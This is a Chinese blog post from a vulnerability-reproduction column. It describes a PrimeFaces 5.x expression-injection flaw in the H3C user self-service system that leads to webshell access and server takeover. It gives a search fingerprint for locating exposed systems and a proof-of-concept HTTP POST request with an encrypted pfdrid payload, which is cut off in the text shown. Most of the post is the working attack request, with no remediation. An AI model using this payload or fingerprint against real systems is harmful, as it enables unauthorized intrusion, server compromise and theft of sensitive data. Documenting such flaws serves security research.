H3C用户自助服务系统存在primefaces5.x表达式注入漏洞

最新推荐文章于 2024-05-16 17:12:22 发布

今天晚上早睡觉

最新推荐文章于 2024-05-16 17:12:22 发布

阅读量162

点赞数

分类专栏：漏洞复现文章标签： web安全

本文链接：https://blog.csdn.net/weixin_43567873/article/details/136605944

版权

漏洞复现专栏收录该内容

361 篇文章 143 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了H3C用户自助服务系统中发现的primefaces5.x表达式注入漏洞，该漏洞可能导致攻击者获取webshell，控制服务器并读取敏感信息。复现步骤包括在特定环境下的漏洞利用方法。

摘要由CSDN通过智能技术生成

漏洞描述

H3C用户自助服务系统存在primefaces5.x表达式注入漏洞，攻击者可以获取 webshell，控制服务器权限，读取敏感信息等。

漏洞环境

fid=”tPmVs5PL6e9m5Xt0J4V2+A==”

漏洞复现

POC

POST /mselfservice/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)
Host: 

pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgqWarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvDYH7pKUiyBaGv9gshhhVGunrKvtJmJ

了解本专栏